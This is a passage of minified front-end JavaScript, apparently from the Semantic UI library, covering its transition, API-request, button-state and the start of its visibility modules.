n?e.extend({},e.fn.transition.settings,{animation:t,onComplete:n}):e.extend({},e.fn.transition.settings,{animation:t})},animationClass:function(e){var t=e||m.animation,n=C.can.transition()&&!C.has.direction()?C.get.direction()+" ":"";return h.animating+" "+h.transition+" "+n+t},currentAnimation:function(){return!(!C.cache||C.cache.animation===i)&&C.cache.animation},currentDirection:function(){return C.is.inward()?h.inward:h.outward},direction:function(){return C.is.hidden()||!C.is.visible()?h.inward:h.outward},animationDirection:function(t){var n;return t=t||m.animation,"string"==typeof t&&(t=t.split(" "),e.each(t,function(e,t){t===h.inward?n=h.inward:t===h.outward&&(n=h.outward)})),!!n&&n},duration:function(e){return e=e||m.duration,e===!1&&(e=w.css("animation-duration")||0),"string"==typeof e?e.indexOf("ms")>-1?parseFloat(e):1e3*parseFloat(e):e},displayType:function(e){return e=e===i||e,m.displayType?m.displayType:(e&&w.data(v.displayType)===i&&C.can.transition(!0),w.data(v.displayType))},userStyle:function(e){return e=e||w.attr("style")||"",e.replace(/display.*?;/,"")},transitionExists:function(t){return e.fn.transition.exists[t]},animationStartEvent:function(){var e,t=n.createElement("div"),o={animation:"animationstart",OAnimation:"oAnimationStart",MozAnimation:"mozAnimationStart",WebkitAnimation:"webkitAnimationStart"};for(e in o)if(t.style[e]!==i)return o[e];return!1},animationEndEvent:function(){var e,t=n.createElement("div"),o={animation:"animationend",OAnimation:"oAnimationEnd",MozAnimation:"mozAnimationEnd",WebkitAnimation:"webkitAnimationEnd"};for(e in o)if(t.style[e]!==i)return o[e];return!1}},can:{transition:function(t){var n,o,a,r,s,l,c=m.animation,u=C.get.transitionExists(c),d=C.get.displayType(!1);if(u===i||t){if(C.verbose("Determining whether animation exists"),n=w.attr("class"),o=w.prop("tagName"),a=e("<"+o+" />").addClass(n).insertAfter(w),r=a.addClass(c).removeClass(h.inward).removeClass(h.outward).addClass(h.animating).addClass(h.transition).css("animationName"),s=a.addClass(h.inward).css("animationName"),d||(d=a.attr("class",n).removeAttr("style").removeClass(h.hidden).removeClass(h.visible).show().css("display"),C.verbose("Determining final display state",d),C.save.displayType(d)),a.remove(),r!=s)C.debug("Direction exists for animation",c),l=!0;else{if("none"==r||!r)return void C.debug("No animation defined in css",c);C.debug("Static animation found",c,d),l=!1}C.save.transitionExists(c,l)}return u!==i?u:l},animate:function(){return C.can.transition()!==i}},is:{animating:function(){return w.hasClass(h.animating)},inward:function(){return w.hasClass(h.inward)},outward:function(){return w.hasClass(h.outward)},looping:function(){return w.hasClass(h.looping)},occurring:function(e){return e=e||m.animation,e="."+e.replace(" ","."),w.filter(e).length>0},visible:function(){return w.is(":visible")},hidden:function(){return"hidden"===w.css("visibility")},supported:function(){return b!==!1}},hide:function(){C.verbose("Hiding element"),C.is.animating()&&C.reset(),k.blur(),C.remove.display(),C.remove.visible(),C.set.hidden(),C.force.hidden(),m.onHide.call(k),m.onComplete.call(k)},show:function(e){C.verbose("Showing element",e),C.remove.hidden(),C.set.visible(),C.force.visible(),m.onShow.call(k),m.onComplete.call(k)},toggle:function(){C.is.visible()?C.hide():C.show()},stop:function(){C.debug("Stopping current animation"),w.triggerHandler(b)},stopAll:function(){C.debug("Stopping all animation"),C.remove.queueCallback(),w.triggerHandler(b)},clear:{queue:function(){C.debug("Clearing animation queue"),C.remove.queueCallback()}},enable:function(){C.verbose("Starting animation"),w.removeClass(h.disabled)},disable:function(){C.debug("Stopping animation"),w.addClass(h.disabled)},setting:function(t,n){if(C.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,C,t);else{if(n===i)return C[t];C[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?C.performance.log(arguments):(C.debug=Function.prototype.bind.call(console.info,console,m.name+":"),C.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?C.performance.log(arguments):(C.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),C.verbose.apply(console,arguments)))},error:function(){m.silent||(C.error=Function.prototype.bind.call(console.error,console,m.name+":"),C.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:k,"Execution Time":n})),clearTimeout(C.performance.timer),C.performance.timer=setTimeout(C.performance.display,500)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(C.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=g;return n=n||d,a=k||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s!==i&&s}},C.initialize()}),o!==i?o:this},e.fn.transition.exists={},e.fn.transition.settings={name:"Transition",silent:!1,debug:!1,verbose:!1,performance:!0,namespace:"transition",interval:0,reverse:"auto",onStart:function(){},onComplete:function(){},onShow:function(){},onHide:function(){},useFailSafe:!0,failSafeDelay:100,allowRepeats:!1,displayType:!1,animation:"fade",duration:!1,queue:!0,metadata:{displayType:"display"},className:{animating:"animating",disabled:"disabled",hidden:"hidden",inward:"in",loading:"loading",looping:"looping",outward:"out",transition:"transition",visible:"visible"},error:{noAnimation:"Element is no longer attached to DOM. Unable to animate. Use silent setting to surpress this warning in production.",repeated:"That animation is already occurring, cancelling repeated animation",method:"The method you called is not defined",support:"This browser does not support CSS animations"}}}(jQuery,window,document),function(e,t,n,i){"use strict";var t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();e.api=e.fn.api=function(n){var o,a=e(e.isFunction(this)?t:this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var a,f,m,g,p,h,v=e.isPlainObject(n)?e.extend(!0,{},e.fn.api.settings,n):e.extend({},e.fn.api.settings),b=v.namespace,y=v.metadata,x=v.selector,C=v.error,w=v.className,k="."+b,S="module-"+b,T=e(this),A=T.closest(x.form),R=v.stateContext?e(v.stateContext):T,E=this,P=R[0],F=T.data(S);h={initialize:function(){u||h.bind.events(),h.instantiate()},instantiate:function(){h.verbose("Storing instance of module",h),F=h,T.data(S,F)},destroy:function(){h.verbose("Destroying previous module for",E),T.removeData(S).off(k)},bind:{events:function(){var e=h.get.event();e?(h.verbose("Attaching API events to element",e),T.on(e+k,h.event.trigger)):"now"==v.on&&(h.debug("Querying API endpoint immediately"),h.query())}},decode:{json:function(e){if(e!==i&&"string"==typeof e)try{e=JSON.parse(e)}catch(e){}return e}},read:{cachedResponse:function(e){var n;return t.Storage===i?void h.error(C.noStorage):(n=sessionStorage.getItem(e),h.debug("Using cached response",e,n),n=h.decode.json(n))}},write:{cachedResponse:function(n,o){return o&&""===o?void h.debug("Response empty, not caching",o):t.Storage===i?void h.error(C.noStorage):(e.isPlainObject(o)&&(o=JSON.stringify(o)),sessionStorage.setItem(n,o),void h.verbose("Storing cached response for url",n,o))}},query:function(){if(h.is.disabled())return void h.debug("Element is disabled API request aborted");if(h.is.loading()){if(!v.interruptRequests)return void h.debug("Cancelling request, previous request is still pending");h.debug("Interrupting previous request"),h.abort()}return v.defaultData&&e.extend(!0,v.urlData,h.get.defaultData()),v.serializeForm&&(v.data=h.add.formData(v.data)),f=h.get.settings(),f===!1?(h.cancelled=!0,void h.error(C.beforeSend)):(h.cancelled=!1,m=h.get.templatedURL(),m||h.is.mocked()?(m=h.add.urlData(m),m||h.is.mocked()?(f.url=v.base+m,a=e.extend(!0,{},v,{type:v.method||v.type,data:g,url:v.base+m,beforeSend:v.beforeXHR,success:function(){},failure:function(){},complete:function(){}}),h.debug("Querying URL",a.url),h.verbose("Using AJAX settings",a),"local"===v.cache&&h.read.cachedResponse(m)?(h.debug("Response returned from local cache"),h.request=h.create.request(),void h.request.resolveWith(P,[h.read.cachedResponse(m)])):void(v.throttle?v.throttleFirstRequest||h.timer?(h.debug("Throttling request",v.throttle),clearTimeout(h.timer),h.timer=setTimeout(function(){h.timer&&delete h.timer,h.debug("Sending throttled request",g,a.method),h.send.request()},v.throttle)):(h.debug("Sending request",g,a.method),h.send.request(),h.timer=setTimeout(function(){},v.throttle)):(h.debug("Sending request",g,a.method),h.send.request()))):void 0):void h.error(C.missingURL))},should:{removeError:function(){return v.hideError===!0||"auto"===v.hideError&&!h.is.form()}},is:{disabled:function(){return T.filter(x.disabled).length>0},expectingJSON:function(){return"json"===v.dataType||"jsonp"===v.dataType},form:function(){return T.is("form")||R.is("form")},mocked:function(){return v.mockResponse||v.mockResponseAsync||v.response||v.responseAsync},input:function(){return T.is("input")},loading:function(){return!!h.request&&"pending"==h.request.state()},abortedRequest:function(e){return e&&e.readyState!==i&&0===e.readyState?(h.verbose("XHR request determined to be aborted"),!0):(h.verbose("XHR request was not aborted"),!1)},validResponse:function(t){return h.is.expectingJSON()&&e.isFunction(v.successTest)?(h.debug("Checking JSON returned success",v.successTest,t),v.successTest(t)?(h.debug("Response passed success test",t),!0):(h.debug("Response failed success test",t),!1)):(h.verbose("Response is not JSON, skipping validation",v.successTest,t),!0)}},was:{cancelled:function(){return h.cancelled||!1},succesful:function(){return h.request&&"resolved"==h.request.state()},failure:function(){return h.request&&"rejected"==h.request.state()},complete:function(){return h.request&&("resolved"==h.request.state()||"rejected"==h.request.state())}},add:{urlData:function(t,n){var o,a;return t&&(o=t.match(v.regExp.required),a=t.match(v.regExp.optional),n=n||v.urlData,o&&(h.debug("Looking for required URL variables",o),e.each(o,function(o,a){var r=a.indexOf("$")!==-1?a.substr(2,a.length-3):a.substr(1,a.length-2),s=e.isPlainObject(n)&&n[r]!==i?n[r]:T.data(r)!==i?T.data(r):R.data(r)!==i?R.data(r):n[r];return s===i?(h.error(C.requiredParameter,r,t),t=!1,!1):(h.verbose("Found required variable",r,s),s=v.encodeParameters?h.get.urlEncodedValue(s):s,t=t.replace(a,s),void 0)})),a&&(h.debug("Looking for optional URL variables",o),e.each(a,function(o,a){var r=a.indexOf("$")!==-1?a.substr(3,a.length-4):a.substr(2,a.length-3),s=e.isPlainObject(n)&&n[r]!==i?n[r]:T.data(r)!==i?T.data(r):R.data(r)!==i?R.data(r):n[r];s!==i?(h.verbose("Optional variable Found",r,s),t=t.replace(a,s)):(h.verbose("Optional variable not found",r),t=t.indexOf("/"+a)!==-1?t.replace("/"+a,""):t.replace(a,""))}))),t},formData:function(t){var n,o=e.fn.serializeObject!==i,a=o?A.serializeObject():A.serialize();return t=t||v.data,n=e.isPlainObject(t),n?o?(h.debug("Extending existing data with form data",t,a),t=e.extend(!0,{},t,a)):(h.error(C.missingSerialize),h.debug("Cant extend data. Replacing data with form data",t,a),t=a):(h.debug("Adding form data",a),t=a),t}},send:{request:function(){h.set.loading(),h.request=h.create.request(),h.is.mocked()?h.mockedXHR=h.create.mockedXHR():h.xhr=h.create.xhr(),v.onRequest.call(P,h.request,h.xhr)}},event:{trigger:function(e){h.query(),"submit"!=e.type&&"click"!=e.type||e.preventDefault()},xhr:{always:function(){},done:function(t,n,i){var o=this,a=(new Date).getTime()-p,r=v.loadingDuration-a,s=!!e.isFunction(v.onResponse)&&(h.is.expectingJSON()?v.onResponse.call(o,e.extend(!0,{},t)):v.onResponse.call(o,t));r=r>0?r:0,s&&(h.debug("Modified API response in onResponse callback",v.onResponse,s,t),t=s),r>0&&h.debug("Response completed early delaying state change by",r),setTimeout(function(){h.is.validResponse(t)?h.request.resolveWith(o,[t,i]):h.request.rejectWith(o,[i,"invalid"])},r)},fail:function(e,t,n){var i=this,o=(new Date).getTime()-p,a=v.loadingDuration-o;a=a>0?a:0,a>0&&h.debug("Response completed early delaying state change by",a),setTimeout(function(){h.is.abortedRequest(e)?h.request.rejectWith(i,[e,"aborted",n]):h.request.rejectWith(i,[e,"error",t,n])},a)}},request:{done:function(e,t){h.debug("Successful API Response",e),"local"===v.cache&&m&&(h.write.cachedResponse(m,e),h.debug("Saving server response locally",h.cache)),v.onSuccess.call(P,e,T,t)},complete:function(e,t){var n,i;h.was.succesful()?(i=e,n=t):(n=e,i=h.get.responseFromXHR(n)),h.remove.loading(),v.onComplete.call(P,i,T,n)},fail:function(e,t,n){var o=h.get.responseFromXHR(e),r=h.get.errorFromRequest(o,t,n);return"aborted"==t?(h.debug("XHR Aborted (Most likely caused by page navigation or CORS Policy)",t,n),v.onAbort.call(P,t,T,e),!0):("invalid"==t?h.debug("JSON did not pass success test. A server-side error has most likely occurred",o):"error"==t&&e!==i&&(h.debug("XHR produced a server error",t,n),200!=e.status&&n!==i&&""!==n&&h.error(C.statusMessage+n,a.url),v.onError.call(P,r,T,e)),v.errorDuration&&"aborted"!==t&&(h.debug("Adding error state"),h.set.error(),h.should.removeError()&&setTimeout(h.remove.error,v.errorDuration)),h.debug("API Request failed",r,e),void v.onFailure.call(P,o,T,e))}}},create:{request:function(){return e.Deferred().always(h.event.request.complete).done(h.event.request.done).fail(h.event.request.fail)},mockedXHR:function(){var t,n,i,o=!1,a=!1,r=!1,s=v.mockResponse||v.response,l=v.mockResponseAsync||v.responseAsync;return i=e.Deferred().always(h.event.xhr.complete).done(h.event.xhr.done).fail(h.event.xhr.fail),s?(e.isFunction(s)?(h.debug("Using specified synchronous callback",s),n=s.call(P,f)):(h.debug("Using settings specified response",s),n=s),i.resolveWith(P,[n,o,{responseText:n}])):e.isFunction(l)&&(t=function(e){h.debug("Async callback returned response",e),e?i.resolveWith(P,[e,o,{responseText:e}]):i.rejectWith(P,[{responseText:e},a,r])},h.debug("Using specified async response callback",l),l.call(P,f,t)),i},xhr:function(){var t;return t=e.ajax(a).always(h.event.xhr.always).done(h.event.xhr.done).fail(h.event.xhr.fail),h.verbose("Created server request",t,a),t}},set:{error:function(){h.verbose("Adding error state to element",R),R.addClass(w.error)},loading:function(){h.verbose("Adding loading state to element",R),R.addClass(w.loading),p=(new Date).getTime()}},remove:{error:function(){h.verbose("Removing error state from element",R),R.removeClass(w.error)},loading:function(){h.verbose("Removing loading state from element",R),R.removeClass(w.loading)}},get:{responseFromXHR:function(t){return!!e.isPlainObject(t)&&(h.is.expectingJSON()?h.decode.json(t.responseText):t.responseText)},errorFromRequest:function(t,n,o){return e.isPlainObject(t)&&t.error!==i?t.error:v.error[n]!==i?v.error[n]:o},request:function(){return h.request||!1},xhr:function(){return h.xhr||!1},settings:function(){var t;return t=v.beforeSend.call(P,v),t&&(t.success!==i&&(h.debug("Legacy success callback detected",t),h.error(C.legacyParameters,t.success),t.onSuccess=t.success),t.failure!==i&&(h.debug("Legacy failure callback detected",t),h.error(C.legacyParameters,t.failure),t.onFailure=t.failure),t.complete!==i&&(h.debug("Legacy complete callback detected",t),h.error(C.legacyParameters,t.complete),t.onComplete=t.complete)),t===i&&h.error(C.noReturnedValue),t===!1?t:t!==i?e.extend(!0,{},t):e.extend(!0,{},v)},urlEncodedValue:function(e){var n=t.decodeURIComponent(e),i=t.encodeURIComponent(e),o=n!==e;return o?(h.debug("URL value is already encoded, avoiding double encoding",e),e):(h.verbose("Encoding value using encodeURIComponent",e,i),i)},defaultData:function(){var t={};return e.isWindow(E)||(h.is.input()?t.value=T.val():h.is.form()||(t.text=T.text())),t},event:function(){return e.isWindow(E)||"now"==v.on?(h.debug("API called without element, no events attached"),!1):"auto"==v.on?T.is("input")?E.oninput!==i?"input":E.onpropertychange!==i?"propertychange":"keyup":T.is("form")?"submit":"click":v.on},templatedURL:function(e){if(e=e||T.data(y.action)||v.action||!1,m=T.data(y.url)||v.url||!1)return h.debug("Using specified url",m),m;if(e){if(h.debug("Looking up url for action",e,v.api),v.api[e]===i&&!h.is.mocked())return void h.error(C.missingAction,v.action,v.api);m=v.api[e]}else h.is.form()&&(m=T.attr("action")||R.attr("action")||!1,h.debug("No url or action specified, defaulting to form action",m));return m}},abort:function(){var e=h.get.xhr();e&&"resolved"!==e.state()&&(h.debug("Cancelling API request"),e.abort())},reset:function(){h.remove.error(),h.remove.loading()},setting:function(t,n){if(h.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,v,t);else{if(n===i)return v[t];e.isPlainObject(v[t])?e.extend(!0,v[t],n):v[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,h,t);else{if(n===i)return h[t];h[t]=n}},debug:function(){!v.silent&&v.debug&&(v.performance?h.performance.log(arguments):(h.debug=Function.prototype.bind.call(console.info,console,v.name+":"),h.debug.apply(console,arguments)))},verbose:function(){!v.silent&&v.verbose&&v.debug&&(v.performance?h.performance.log(arguments):(h.verbose=Function.prototype.bind.call(console.info,console,v.name+":"),h.verbose.apply(console,arguments)))},error:function(){v.silent||(h.error=Function.prototype.bind.call(console.error,console,v.name+":"),h.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;v.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"","Execution Time":n})),clearTimeout(h.performance.timer),h.performance.timer=setTimeout(h.performance.display,500)},display:function(){var t=v.name+":",n=0;s=!1,clearTimeout(h.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=F;return n=n||d,a=E||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(h.error(C.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},u?(F===i&&h.initialize(),h.invoke(c)):(F!==i&&F.invoke("destroy"),h.initialize())}),o!==i?o:this},e.api.settings={name:"API",namespace:"api",debug:!1,verbose:!1,performance:!0,api:{},cache:!0,interruptRequests:!0,on:"auto",stateContext:!1,loadingDuration:0,hideError:"auto",errorDuration:2e3,encodeParameters:!0,action:!1,url:!1,base:"",urlData:{},defaultData:!0,serializeForm:!1,throttle:0,throttleFirstRequest:!0,method:"get",data:{},dataType:"json",mockResponse:!1,mockResponseAsync:!1,response:!1,responseAsync:!1,beforeSend:function(e){return e},beforeXHR:function(e){},onRequest:function(e,t){},onResponse:!1,onSuccess:function(e,t){},onComplete:function(e,t){},onFailure:function(e,t){},onError:function(e,t){},onAbort:function(e,t){},successTest:!1,error:{beforeSend:"The before send function has aborted the request",error:"There was an error with your request",exitConditions:"API Request Aborted. Exit conditions met",JSONParse:"JSON could not be parsed during error handling",legacyParameters:"You are using legacy API success callback names",method:"The method you called is not defined",missingAction:"API action used but no url was defined",missingSerialize:"jquery-serialize-object is required to add form data to an existing data object",missingURL:"No URL specified for api event",noReturnedValue:"The beforeSend callback must return a settings object, beforeSend ignored.",noStorage:"Caching responses locally requires session storage",parseError:"There was an error parsing your request",requiredParameter:"Missing a required URL parameter: ",statusMessage:"Server gave an error: ",timeout:"Your request timed out"},regExp:{required:/\{\$*[A-z0-9]+\}/g,optional:/\{\/\$*[A-z0-9]+\}/g},className:{loading:"loading",error:"error"},selector:{disabled:".disabled",form:"form"},metadata:{action:"action",url:"url"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.state=function(t){var o,a=e(this),r=a.selector||"",s=("ontouchstart"in n.documentElement,(new Date).getTime()),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var n,f=e.isPlainObject(t)?e.extend(!0,{},e.fn.state.settings,t):e.extend({},e.fn.state.settings),m=f.error,g=f.metadata,p=f.className,h=f.namespace,v=f.states,b=f.text,y="."+h,x=h+"-module",C=e(this),w=this,k=C.data(x);n={initialize:function(){n.verbose("Initializing module"),f.automatic&&n.add.defaults(),f.context&&""!==r?e(f.context).on(r,"mouseenter"+y,n.change.text).on(r,"mouseleave"+y,n.reset.text).on(r,"click"+y,n.toggle.state):C.on("mouseenter"+y,n.change.text).on("mouseleave"+y,n.reset.text).on("click"+y,n.toggle.state),n.instantiate()},instantiate:function(){n.verbose("Storing instance of module",n),k=n,C.data(x,n)},destroy:function(){n.verbose("Destroying previous module",k),C.off(y).removeData(x)},refresh:function(){n.verbose("Refreshing selector cache"),C=e(w)},add:{defaults:function(){var o=t&&e.isPlainObject(t.states)?t.states:{};e.each(f.defaults,function(t,a){n.is[t]!==i&&n.is[t]()&&(n.verbose("Adding default states",t,w),e.extend(f.states,a,o))})}},is:{active:function(){return C.hasClass(p.active)},loading:function(){return C.hasClass(p.loading)},inactive:function(){return!C.hasClass(p.active)},state:function(e){return p[e]!==i&&C.hasClass(p[e])},enabled:function(){return!C.is(f.filter.active)},disabled:function(){return C.is(f.filter.active)},textEnabled:function(){return!C.is(f.filter.text)},button:function(){return C.is(".button:not(a, .submit)")},input:function(){return C.is("input")},progress:function(){return C.is(".ui.progress")}},allow:function(e){n.debug("Now allowing state",e),v[e]=!0},disallow:function(e){n.debug("No longer allowing",e),v[e]=!1},allows:function(e){return v[e]||!1},enable:function(){C.removeClass(p.disabled)},disable:function(){C.addClass(p.disabled)},setState:function(e){n.allows(e)&&C.addClass(p[e])},removeState:function(e){n.allows(e)&&C.removeClass(p[e])},toggle:{state:function(){var t,o;if(n.allows("active")&&n.is.enabled()){if(n.refresh(),e.fn.api!==i)if(t=C.api("get request"),o=C.api("was cancelled"))n.debug("API Request cancelled by beforesend"),f.activateTest=function(){return!1},f.deactivateTest=function(){return!1};else if(t)return void n.listenTo(t);n.change.state()}}},listenTo:function(t){n.debug("API request detected, waiting for state signal",t),t&&(b.loading&&n.update.text(b.loading),e.when(t).then(function(){"resolved"==t.state()?(n.debug("API request succeeded"),f.activateTest=function(){return!0},f.deactivateTest=function(){return!0}):(n.debug("API request failed"),f.activateTest=function(){return!1},f.deactivateTest=function(){return!1}),n.change.state()}))},change:{state:function(){n.debug("Determining state change direction"),n.is.inactive()?n.activate():n.deactivate(),f.sync&&n.sync(),f.onChange.call(w)},text:function(){n.is.textEnabled()&&(n.is.disabled()?(n.verbose("Changing text to disabled text",b.hover),n.update.text(b.disabled)):n.is.active()?b.hover?(n.verbose("Changing text to hover text",b.hover),n.update.text(b.hover)):b.deactivate&&(n.verbose("Changing text to deactivating text",b.deactivate),n.update.text(b.deactivate)):b.hover?(n.verbose("Changing text to hover text",b.hover),n.update.text(b.hover)):b.activate&&(n.verbose("Changing text to activating text",b.activate),n.update.text(b.activate)))}},activate:function(){f.activateTest.call(w)&&(n.debug("Setting state to active"),C.addClass(p.active),n.update.text(b.active),f.onActivate.call(w))},deactivate:function(){f.deactivateTest.call(w)&&(n.debug("Setting state to inactive"),C.removeClass(p.active),n.update.text(b.inactive),f.onDeactivate.call(w)); },sync:function(){n.verbose("Syncing other buttons to current state"),n.is.active()?a.not(C).state("activate"):a.not(C).state("deactivate")},get:{text:function(){return f.selector.text?C.find(f.selector.text).text():C.html()},textFor:function(e){return b[e]||!1}},flash:{text:function(e,t,i){var o=n.get.text();n.debug("Flashing text message",e,t),e=e||f.text.flash,t=t||f.flashDuration,i=i||function(){},n.update.text(e),setTimeout(function(){n.update.text(o),i.call(w)},t)}},reset:{text:function(){var e=b.active||C.data(g.storedText),t=b.inactive||C.data(g.storedText);n.is.textEnabled()&&(n.is.active()&&e?(n.verbose("Resetting active text",e),n.update.text(e)):t&&(n.verbose("Resetting inactive text",e),n.update.text(t)))}},update:{text:function(e){var t=n.get.text();e&&e!==t?(n.debug("Updating text",e),f.selector.text?C.data(g.storedText,e).find(f.selector.text).text(e):C.data(g.storedText,e).html(e)):n.debug("Text is already set, ignoring update",e)}},setting:function(t,o){if(n.debug("Changing setting",t,o),e.isPlainObject(t))e.extend(!0,f,t);else{if(o===i)return f[t];e.isPlainObject(f[t])?e.extend(!0,f[t],o):f[t]=o}},internal:function(t,o){if(e.isPlainObject(t))e.extend(!0,n,t);else{if(o===i)return n[t];n[t]=o}},debug:function(){!f.silent&&f.debug&&(f.performance?n.performance.log(arguments):(n.debug=Function.prototype.bind.call(console.info,console,f.name+":"),n.debug.apply(console,arguments)))},verbose:function(){!f.silent&&f.verbose&&f.debug&&(f.performance?n.performance.log(arguments):(n.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),n.verbose.apply(console,arguments)))},error:function(){f.silent||(n.error=Function.prototype.bind.call(console.error,console,f.name+":"),n.error.apply(console,arguments))},performance:{log:function(e){var t,i,o;f.performance&&(t=(new Date).getTime(),o=s||t,i=t-o,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:w,"Execution Time":i})),clearTimeout(n.performance.timer),n.performance.timer=setTimeout(n.performance.display,500)},display:function(){var t=f.name+":",o=0;s=!1,clearTimeout(n.performance.timer),e.each(l,function(e,t){o+=t["Execution Time"]}),t+=" "+o+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,a,r){var s,l,c,u=k;return a=a||d,r=w||r,"string"==typeof t&&u!==i&&(t=t.split(/[\. ]/),s=t.length-1,e.each(t,function(o,a){var r=o!=s?a+t[o+1].charAt(0).toUpperCase()+t[o+1].slice(1):t;if(e.isPlainObject(u[r])&&o!=s)u=u[r];else{if(u[r]!==i)return l=u[r],!1;if(!e.isPlainObject(u[a])||o==s)return u[a]!==i?(l=u[a],!1):(n.error(m.method,t),!1);u=u[a]}})),e.isFunction(l)?c=l.apply(r,a):l!==i&&(c=l),e.isArray(o)?o.push(c):o!==i?o=[o,c]:c!==i&&(o=c),l}},u?(k===i&&n.initialize(),n.invoke(c)):(k!==i&&k.invoke("destroy"),n.initialize())}),o!==i?o:this},e.fn.state.settings={name:"State",debug:!1,verbose:!1,namespace:"state",performance:!0,onActivate:function(){},onDeactivate:function(){},onChange:function(){},activateTest:function(){return!0},deactivateTest:function(){return!0},automatic:!0,sync:!1,flashDuration:1e3,filter:{text:".loading, .disabled",active:".disabled"},context:!1,error:{beforeSend:"The before send function has cancelled state change",method:"The method you called is not defined."},metadata:{promise:"promise",storedText:"stored-text"},className:{active:"active",disabled:"disabled",error:"error",loading:"loading",success:"success",warning:"warning"},selector:{text:!1},defaults:{input:{disabled:!0,loading:!0,active:!0},button:{disabled:!0,loading:!0,active:!0},progress:{active:!0,success:!0,warning:!0,error:!0}},states:{active:!0,disabled:!0,error:!0,loading:!0,success:!0,warning:!0},text:{disabled:!1,flash:!1,hover:!1,active:!1,inactive:!1,activate:!1,deactivate:!1}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.visibility=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1),m=r.length,g=0;return r.each(function(){var r,p,h,v,b=e.isPlainObject(o)?e.extend(!0,{},e.fn.visibility.settings,o):e.extend({},e.fn.visibility.settings),y=b.className,x=b.namespace,C=b.error,w=b.metadata,k="."+x,S="module-"+x,T=e(t),A=e(this),R=e(b.context),E=(A.selector||"",A.data(S)),P=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)},F=this,O=!1;v={initialize:function(){v.debug("Initializing",b),v.setup.cache(),v.should.trackChanges()&&("image"==b.type&&v.setup.image(),"fixed"==b.type&&v.setup.fixed(),b.observeChanges&&v.observeChanges(),v.bind.events()),v.save.position(),v.is.visible()||v.error(C.visible,A),b.initialCheck&&v.checkVisibility(),v.instantiate()},instantiate:function(){v.debug("Storing instance",v),A.data(S,v),E=v},destroy:function(){v.verbose("Destroying previous module"),h&&h.disconnect(),p&&p.disconnect(),T.off("load"+k,v.event.load).off("resize"+k,v.event.resize),R.off("scroll"+k,v.event.scroll).off("scrollchange"+k,v.event.scrollchange),"fixed"==b.type&&(v.resetFixed(),v.remove.placeholder()),A.off(k).removeData(S)},observeChanges:function(){"MutationObserver"in t&&(p=new MutationObserver(v.event.contextChanged),h=new MutationObserver(v.event.changed),p.observe(n,{childList:!0,subtree:!0}),h.observe(F,{childList:!0,subtree:!0}),v.debug("Setting up mutation observer",h))},bind:{events:function(){v.verbose("Binding visibility events to scroll and 